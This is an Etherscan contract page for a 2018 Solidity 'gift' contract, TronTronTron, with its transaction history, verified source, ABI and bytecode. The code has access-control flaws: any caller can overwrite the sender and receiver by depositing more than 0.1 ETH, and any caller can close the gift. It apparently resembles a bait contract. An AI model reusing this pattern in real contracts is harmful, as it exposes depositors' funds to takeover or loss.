Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Get Gift | 5807372 | 2434 days ago | IN | 0 ETH | 0.00002993 | ||||
Set Gift Time | 5806072 | 2434 days ago | IN | 0 ETH | 0.00002698 | ||||
Get Gift | 5806072 | 2434 days ago | IN | 0 ETH | 0.00002196 | ||||
Close Gift | 5803756 | 2435 days ago | IN | 0 ETH | 0.00006196 | ||||
Set Gift Time | 5803095 | 2435 days ago | IN | 0 ETH | 0.00002713 | ||||
Put Gift | 5803068 | 2435 days ago | IN | 0.11 ETH | 0.00008447 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
5807372 | 2434 days ago | 0.11 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
TronTronTron
Compiler Version
v0.4.22+commit.4cb486ee
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2018-06-17 */ pragma solidity ^0.4.22; contract TronTronTron { address sender; address receiver; uint unlockTime; bool closed = false; function PutGift(address _receiver) public payable { if( (!closed&&(msg.value >0.10 ether)) || sender==0x0 ) { sender = msg.sender; receiver = _receiver; unlockTime = now; } } function SetGiftTime(uint _unixTime) public { if(msg.sender==sender) { unlockTime = _unixTime; } } function GetGift() public payable { if(receiver==msg.sender&&now>unlockTime) { msg.sender.transfer(address(this).balance); } } function CloseGift() public { if (receiver!=0x0) { closed=true; } } function() public payable{} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":false,"inputs":[{"name":"_receiver","type":"address"}],"name":"PutGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"CloseGift","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_unixTime","type":"uint256"}],"name":"SetGiftTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]
Contract Creation Code
60806040526003805460ff1916905534801561001a57600080fd5b506101eb8061002a6000396000f3006080604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008c578063dac47a7114610094575b005b610061600160a060020a03600435166100ac565b34801561008357600080fd5b50610061610124565b610061610145565b3480156100a057600080fd5b506100616004356101a3565b60035460ff161580156100c6575067016345785d8a000034115b806100da5750600054600160a060020a0316155b156101215760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b600154600160a060020a031615610143576003805460ff191660011790555b565b60015433600160a060020a039081169116148015610164575060025442115b1561014357604051600160a060020a0333811691309091163180156108fc02916000818181858888f19350505050158015610121573d6000803e3d6000fd5b60005433600160a060020a0390811691161415610121576002555600a165627a7a7230582046f289a53041199d1bd0e4d5135873b4e5bd57319a1a0068e8ecbe415dafc0030029
Deployed Bytecode
0x6080604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008c578063dac47a7114610094575b005b610061600160a060020a03600435166100ac565b34801561008357600080fd5b50610061610124565b610061610145565b3480156100a057600080fd5b506100616004356101a3565b60035460ff161580156100c6575067016345785d8a000034115b806100da5750600054600160a060020a0316155b156101215760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b600154600160a060020a031615610143576003805460ff191660011790555b565b60015433600160a060020a039081169116148015610164575060025442115b1561014357604051600160a060020a0333811691309091163180156108fc02916000818181858888f19350505050158015610121573d6000803e3d6000fd5b60005433600160a060020a0390811691161415610121576002555600a165627a7a7230582046f289a53041199d1bd0e4d5135873b4e5bd57319a1a0068e8ecbe415dafc0030029
Swarm Source
bzzr://46f289a53041199d1bd0e4d5135873b4e5bd57319a1a0068e8ecbe415dafc003
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 31 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.